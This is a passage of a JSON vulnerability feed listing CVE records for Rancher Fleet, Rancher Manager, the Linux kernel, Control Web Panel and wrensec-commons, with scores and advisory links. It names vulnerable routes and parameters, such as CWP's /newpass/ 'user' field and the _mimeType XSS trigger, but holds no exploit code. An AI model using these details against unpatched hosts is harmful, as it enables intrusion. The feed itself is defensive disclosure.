Fleet 0.16.0 up to 0.16.3, 0.15.0 up to 0.15.8, 0.14.0 up to 0.14.12, 0.13.0 up to 0.13.17 and possible older versions.","cvss":9.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.1,"cvss_v4":null,"epss":0.00499,"ranking_epss":0.42854,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/rancher/fleet/security/advisories/GHSA-qfmw-gw96-ffcr"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:45","euvd":{"id":"EUVD-2026-115251","description":"SUSE Rancher Fleet clusters reference a kubeconfig secret that the controller uses to install and manage a Fleet agent on the target cluster. The controller did not sufficiently restrict which kubeconfig secrets a Fleet Cluster object was allowed to reference. As a result, a Fleet cluster defined in a namespace an ordinary user controls could be associated with administrative credentials for the management cluster itself, causing the controller to manage the management cluster on that user's behalf and to run that user's Fleet content there with elevated privileges. This affects SUSE Rancher Fleet 0.16.0 up to 0.16.3, 0.15.0 up to 0.15.8, 0.14.0 up to 0.14.12, 0.13.0 up to 0.13.17 and possible older versions.","published_time":"2026-11-02T15:29:41","cvss":9.1,"cvss_version":"3.1","epss":0.0,"assigner":"suse","references":["https://github.com/rancher/fleet/security/advisories/GHSA-qfmw-gw96-ffcr"],"products":["Rancher","Rancher","Rancher","Rancher"],"vendors":["SUSE"]},"ghsa":null},{"cve_id":"CVE-2026-99217","summary":"Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00168,"ranking_epss":0.06172,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":[],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:45","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-99218","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ncoredump: hold RCU while releasing parked threads\n\ncoredump_finish() releases the parked threads by clearing ->task in\ntheir core_thread entry and calling wake_up_process() on each of them.\nIt does that without holding a reference on the task and without being\ninside rcu.\n\nBut calling wake_up_process(task) without rcu here isn't safe. A parked\nthread doesn't need that wakeup to leave. A spurious wakeup or a\npreemption after the store is enough for the task to go away.\n\nSo if the coredump client is preempted between the store and\nwake_up_process() the thread can exit and be freed in the meantime and\ntry_to_wake_up() takes pi_lock in freed memory.\n\nHold rcu across the loop.","cvss":7.0,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.0,"cvss_v4":null,"epss":0.00122,"ranking_epss":0.01994,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/0fce73efee40c65ce26641c5d93942462f9e8307","https://git.kernel.org/stable/c/16e94ed90b1b02398e044d41fd1db34828daa08e","https://git.kernel.org/stable/c/61d58591aa0188bf2463e263962256316ff8b576","https://git.kernel.org/stable/c/71146c437bae59e5280f657965dc6d006ee3989b","https://git.kernel.org/stable/c/a0f09ff4c6b93312e565cfe75d76c3a551a3ec4c","https://git.kernel.org/stable/c/b0eca0edddf4c1dbaf6d1f6a8636b4235f5bc573","https://git.kernel.org/stable/c/fd0fbe84312fda2fc187428c92c50b7d03a9d24c"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:45","euvd":{"id":"EUVD-2026-115260","description":"In the Linux kernel, the following vulnerability has been resolved:\n\ncoredump: hold RCU while releasing parked threads\n\ncoredump_finish() releases the parked threads by clearing ->task in\ntheir core_thread entry and calling wake_up_process() on each of them.\nIt does that without holding a reference on the task and without being\ninside rcu.\n\nBut calling wake_up_process(task) without rcu here isn't safe. A parked\nthread doesn't need that wakeup to leave. A spurious wakeup or a\npreemption after the store is enough for the task to go away.\n\nSo if the coredump client is preempted between the store and\nwake_up_process() the thread can exit and be freed in the meantime and\ntry_to_wake_up() takes pi_lock in freed memory.\n\nHold rcu across the loop.","published_time":"2026-11-02T16:06:31","cvss":7.0,"cvss_version":"3.1","epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/fd0fbe84312fda2fc187428c92c50b7d03a9d24c","https://git.kernel.org/stable/c/71146c437bae59e5280f657965dc6d006ee3989b","https://git.kernel.org/stable/c/0fce73efee40c65ce26641c5d93942462f9e8307","https://git.kernel.org/stable/c/16e94ed90b1b02398e044d41fd1db34828daa08e","https://git.kernel.org/stable/c/a0f09ff4c6b93312e565cfe75d76c3a551a3ec4c","https://git.kernel.org/stable/c/b0eca0edddf4c1dbaf6d1f6a8636b4235f5bc573","https://git.kernel.org/stable/c/61d58591aa0188bf2463e263962256316ff8b576"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99219","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nftrace: Initialize modname and offset in print_rec()\n\nprint_rec() leaves 'modname' and 'offset' uninitialized and\nkallsyms_lookup() only sets them on success. When the lookup fails like\nwhen a module is being loaded or unloaded, 'modname' holds a garbage\nvalue, passes the 'if (modname)' check, and is dereferenced by\nseq_printf().\n\n  Oops: general protection fault\n  RIP: 0010:string+0x48/0xe0\n  Call Trace:\n   vsnprintf+0x1f5/0x650\n   seq_printf+0x8e/0xb0\n   print_rec+0x6c/0xc0\n   t_show+0x4c/0x440\n   seq_read_iter+0x119/0x480\n\nThis can be triggered by reading available_filter_functions while a\nmodule is being loaded or unloaded.\n\nInitialize both variables so a failed lookup skips the module name.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00173,"ranking_epss":0.06754,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/0e5ff07be834abaf4280e1dca7f9591e339d0960","https://git.kernel.org/stable/c/7271c064dd60d4456c5b90da757acd9420d06697","https://git.kernel.org/stable/c/753d5cba113a52cb155428f4ea93a4b0148c4bf1","https://git.kernel.org/stable/c/8932e5a4df110a25578728526bb5a3dbc849d8a2","https://git.kernel.org/stable/c/d97dba9ff13987d1fc415408557a54adde980311","https://git.kernel.org/stable/c/e1f339ff3b83857b93baf8b88186275a413d445e","https://git.kernel.org/stable/c/e2e6fb972bfec4a0551bc7c185bdb17f78f94997"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:45","euvd":{"id":"EUVD-2026-115261","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nftrace: Initialize modname and offset in print_rec()\n\nprint_rec() leaves 'modname' and 'offset' uninitialized and\nkallsyms_lookup() only sets them on success. When the lookup fails like\nwhen a module is being loaded or unloaded, 'modname' holds a garbage\nvalue, passes the 'if (modname)' check, and is dereferenced by\nseq_printf().\n\n  Oops: general protection fault\n  RIP: 0010:string+0x48/0xe0\n  Call Trace:\n   vsnprintf+0x1f5/0x650\n   seq_printf+0x8e/0xb0\n   print_rec+0x6c/0xc0\n   t_show+0x4c/0x440\n   seq_read_iter+0x119/0x480\n\nThis can be triggered by reading available_filter_functions while a\nmodule is being loaded or unloaded.\n\nInitialize both variables so a failed lookup skips the module name.","published_time":"2026-11-02T16:06:31","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/753d5cba113a52cb155428f4ea93a4b0148c4bf1","https://git.kernel.org/stable/c/0e5ff07be834abaf4280e1dca7f9591e339d0960","https://git.kernel.org/stable/c/e2e6fb972bfec4a0551bc7c185bdb17f78f94997","https://git.kernel.org/stable/c/8932e5a4df110a25578728526bb5a3dbc849d8a2","https://git.kernel.org/stable/c/7271c064dd60d4456c5b90da757acd9420d06697","https://git.kernel.org/stable/c/d97dba9ff13987d1fc415408557a54adde980311","https://git.kernel.org/stable/c/e1f339ff3b83857b93baf8b88186275a413d445e"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-88809","summary":"A security vulnerability exists in the SUSE Rancher Manager meta proxy endpoint (/meta/proxy). This endpoint is intended to forward requests only to  destinations that appear on a configured allowlist. The allowlist decision was evaluated in a  place where it could not stop a request from being forwarded, so a rejected destination was logged but the request was still handed to the proxy's transport. This affects SUSE Rancher 2.15.0 up to 2.15.3, 2.14.0 up to 2.14.7, 2.13.0 up to 2.13.11, 2.12.0 up to 2.12.15, 2.11.0 up to 2.11.19 and potentially older EOL versions.","cvss":7.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/rancher/rancher/security/advisories/GHSA-f9gf-wh3x-jx3v"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:44","euvd":{"id":"EUVD-2026-115258","description":"A security vulnerability exists in the SUSE Rancher Manager meta proxy endpoint (/meta/proxy). This endpoint is intended to forward requests only to  destinations that appear on a configured allowlist. The allowlist decision was evaluated in a  place where it could not stop a request from being forwarded, so a rejected destination was logged but the request was still handed to the proxy's transport. This affects SUSE Rancher 2.15.0 up to 2.15.3, 2.14.0 up to 2.14.7, 2.13.0 up to 2.13.11, 2.12.0 up to 2.12.15, 2.11.0 up to 2.11.19 and potentially older EOL versions.","published_time":"2026-11-02T16:03:20","cvss":7.6,"cvss_version":"3.1","epss":0.0,"assigner":"suse","references":["https://github.com/rancher/rancher/security/advisories/GHSA-f9gf-wh3x-jx3v"],"products":["Rancher","Rancher","Rancher","Rancher","Rancher"],"vendors":["SUSE"]},"ghsa":null},{"cve_id":"CVE-2026-77881","summary":"Control Web Panel (CWP) before webpanel_version 1.29 contains a blind SQL injection vulnerability in an unauthenticated loopback API route that connects to MySQL as root, where the 'user' parameter is interpolated directly into a query against the oauth_clients table. Attackers can send crafted requests to the unauthenticated route (originally /user_panel_dashboard/, later /valid_token/) to perform time-based blind SQL injection and extract arbitrary database contents.","cvss":6.8,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.5,"cvss_v4":6.8,"epss":0.00208,"ranking_epss":0.10986,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://control-webpanel.com/changelog","https://www.vulncheck.com/advisories/control-web-panel-cwp-blind-sql-injection-via-user-parameter","https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:44","euvd":{"id":"EUVD-2026-115248","description":"Control Web Panel (CWP) before webpanel_version 1.29 contains a blind SQL injection vulnerability in an unauthenticated loopback API route that connects to MySQL as root, where the 'user' parameter is interpolated directly into a query against the oauth_clients table. Attackers can send crafted requests to the unauthenticated route (originally /user_panel_dashboard/, later /valid_token/) to perform time-based blind SQL injection and extract arbitrary database contents.","published_time":"2026-11-02T15:21:39","cvss":6.8,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://control-webpanel.com/changelog","https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce","https://www.vulncheck.com/advisories/control-web-panel-cwp-blind-sql-injection-via-user-parameter"],"products":["Control Web Panel"],"vendors":["Control Web Panel"]},"ghsa":null},{"cve_id":"CVE-2026-77876","summary":"Control Web Panel (CWP) before webpanel_version 1.16 contains an OS command injection vulnerability in the protected_directory user panel module that allows attackers to execute arbitrary commands by submitting unescaped input through the file POST parameter in the acc=deletedp action. Attackers can exploit this flaw, which passes attacker-controlled input directly into a shell_exec call, to achieve code execution in the user panel context.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":8.7,"epss":0.02158,"ranking_epss":0.8221,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://control-webpanel.com/changelog","https://www.vulncheck.com/advisories/control-web-panel-cwp-os-command-injection-via-protected-directory","https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:43","euvd":{"id":"EUVD-2026-115243","description":"Control Web Panel (CWP) before webpanel_version 1.16 contains an OS command injection vulnerability in the protected_directory user panel module that allows attackers to execute arbitrary commands by submitting unescaped input through the file POST parameter in the acc=deletedp action. Attackers can exploit this flaw, which passes attacker-controlled input directly into a shell_exec call, to achieve code execution in the user panel context.","published_time":"2026-11-02T15:18:18","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://control-webpanel.com/changelog","https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce","https://www.vulncheck.com/advisories/control-web-panel-cwp-os-command-injection-via-protected-directory"],"products":["Control Web Panel"],"vendors":["Control Web Panel"]},"ghsa":null},{"cve_id":"CVE-2026-77877","summary":"Control Web Panel (CWP) before webpanel_version 1.29 contains a missing authentication vulnerability that allows attackers able to reach the loopback API service to invoke root-privileged API routes without presenting an access token. Attackers can access endpoints such as /v1/restoredatabase/, /generaluser/, /last_access/, /valid_user/, /valid_token/, and /user_panel_dashboard/ to perform unauthorized actions with root privileges.","cvss":8.5,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":8.5,"epss":0.00181,"ranking_epss":0.07721,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://control-webpanel.com/changelog","https://www.vulncheck.com/advisories/control-web-panel-cwp-unauthenticated-loopback-api-root-access","https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:43","euvd":{"id":"EUVD-2026-115244","description":"Control Web Panel (CWP) before webpanel_version 1.29 contains a missing authentication vulnerability that allows attackers able to reach the loopback API service to invoke root-privileged API routes without presenting an access token. Attackers can access endpoints such as /v1/restoredatabase/, /generaluser/, /last_access/, /valid_user/, /valid_token/, and /user_panel_dashboard/ to perform unauthorized actions with root privileges.","published_time":"2026-11-02T15:19:26","cvss":8.5,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://control-webpanel.com/changelog","https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce","https://www.vulncheck.com/advisories/control-web-panel-cwp-unauthenticated-loopback-api-root-access"],"products":["Control Web Panel"],"vendors":["Control Web Panel"]},"ghsa":null},{"cve_id":"CVE-2026-77878","summary":"Control Web Panel (CWP) before webpanel_version 1.29 contains an OS command injection vulnerability in the loopback API database restore route /v1/restoredatabase/, where the restoreDBBackup() handler passes an attacker-controlled file path from the POST body into a shell command without proper escaping. An attacker able to reach the route can inject arbitrary OS commands that execute as root.","cvss":8.5,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":8.5,"epss":0.00843,"ranking_epss":0.58005,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://control-webpanel.com/changelog","https://www.vulncheck.com/advisories/control-web-panel-cwp-os-command-injection-via-restoredatabase-api","https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:43","euvd":{"id":"EUVD-2026-115245","description":"Control Web Panel (CWP) before webpanel_version 1.29 contains an OS command injection vulnerability in the loopback API database restore route /v1/restoredatabase/, where the restoreDBBackup() handler passes an attacker-controlled file path from the POST body into a shell command without proper escaping. An attacker able to reach the route can inject arbitrary OS commands that execute as root.","published_time":"2026-11-02T15:19:59","cvss":8.5,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://control-webpanel.com/changelog","https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce","https://www.vulncheck.com/advisories/control-web-panel-cwp-os-command-injection-via-restoredatabase-api"],"products":["Control Web Panel"],"vendors":["Control Web Panel"]},"ghsa":null},{"cve_id":"CVE-2026-77879","summary":"Control Web Panel (CWP) before webpanel_version 1.16 contains a SQL injection vulnerability in the loopback API authentication gate access_token(), which connects to MySQL as root and interpolates attacker-controlled values directly into its query. Attackers can inject SQL through the authorization_code and client_id parameters to read arbitrary database contents and forge the authentication result, bypassing the API's authentication check.","cvss":8.4,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":8.4,"epss":0.00232,"ranking_epss":0.14119,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://control-webpanel.com/changelog","https://www.vulncheck.com/advisories/control-web-panel-cwp-sql-injection-via-access-token-api","https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:43","euvd":{"id":"EUVD-2026-115246","description":"Control Web Panel (CWP) before webpanel_version 1.16 contains a SQL injection vulnerability in the loopback API authentication gate access_token(), which connects to MySQL as root and interpolates attacker-controlled values directly into its query. Attackers can inject SQL through the authorization_code and client_id parameters to read arbitrary database contents and forge the authentication result, bypassing the API's authentication check.","published_time":"2026-11-02T15:20:40","cvss":8.4,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://control-webpanel.com/changelog","https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce","https://www.vulncheck.com/advisories/control-web-panel-cwp-sql-injection-via-access-token-api"],"products":["Control Web Panel"],"vendors":["Control Web Panel"]},"ghsa":null},{"cve_id":"CVE-2026-77880","summary":"Control Web Panel (CWP) before webpanel_version 1.16 contains an OS command injection vulnerability in the loopback API password change route /newpass/, which runs as root. An attacker can inject arbitrary OS commands by manipulating the POST 'user' parameter that is passed unescaped into a shell command, achieving remote code execution with root privileges.","cvss":8.5,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":8.5,"epss":0.00776,"ranking_epss":0.55838,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://control-webpanel.com/changelog","https://www.vulncheck.com/advisories/control-web-panel-cwp-os-command-injection-via-newpass","https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:43","euvd":{"id":"EUVD-2026-115247","description":"Control Web Panel (CWP) before webpanel_version 1.16 contains an OS command injection vulnerability in the loopback API password change route /newpass/, which runs as root. An attacker can inject arbitrary OS commands by manipulating the POST 'user' parameter that is passed unescaped into a shell command, achieving remote code execution with root privileges.","published_time":"2026-11-02T15:21:08","cvss":8.5,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://control-webpanel.com/changelog","https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce","https://www.vulncheck.com/advisories/control-web-panel-cwp-os-command-injection-via-newpass"],"products":["Control Web Panel"],"vendors":["Control Web Panel"]},"ghsa":null},{"cve_id":"CVE-2026-2102","summary":"wrensec-commons contains a reflected cross-site scripting (XSS) vulnerability in the CREST framework's HTTP binding. The HttpUtils.prepareResponse() method used the _mimeType request parameter to set the Content-Type response header without proper sanitization. By sending a GET request with _mimeType=text/html, an attacker could cause the browser to interpret a CREST JSON response as HTML, enabling execution of arbitrary JavaScript in the victim's browser. The vulnerability is exploitable by tricking a user into visiting a crafted URL targeting any deployed CREST endpoint. The issue is fixed in versions 22.6.2 and 23.0.0.","cvss":6.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/WrenSecurity/wrensec-commons/commit/5b50c64c14943b6f4d7faf996345e603956bae1d","https://github.com/WrenSecurity/wrensec-commons/commit/65bbfd8c63c42e84ff7699aa5b82a22c08a12624","https://github.com/WrenSecurity/wrensec-commons/security/advisories/GHSA-4vhv-49g2-496q"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:40","euvd":{"id":"EUVD-2026-115250","description":"wrensec-commons contains a reflected cross-site scripting (XSS) vulnerability in the CREST framework's HTTP binding. The HttpUtils.prepareResponse() method used the _mimeType request parameter to set the Content-Type response header without proper sanitization. By sending a GET request with _mimeType=text/html, an attacker could cause the browser to interpret a CREST JSON response as HTML, enabling execution of arbitrary JavaScript in the victim's browser. The vulnerability is exploitable by tricking a user into visiting a crafted URL targeting any deployed CREST endpoint. The issue is fixed in versions 22.6.2 and 23.0.0.","published_time":"2026-11-02T15:26:54","cvss":6.1,"cvss_version":"3.1","epss":0.0,"assigner":"WrenSecurity","references":["https://github.com/WrenSecurity/wrensec-commons/security/advisories/GHSA-4vhv-49g2-496q","https://github.com/WrenSecurity/wrensec-commons/commit/65bbfd8c63c42e84ff7699aa5b82a22c08a12624","https://github.com/WrenSecurity/wrensec-commons/commit/5b50c64c14943b6f4d7faf996345e603956bae1d"],"products":["wrensec-commons","wrensec-commons"],"vendors":["Wren Security"]},"ghsa":null}]}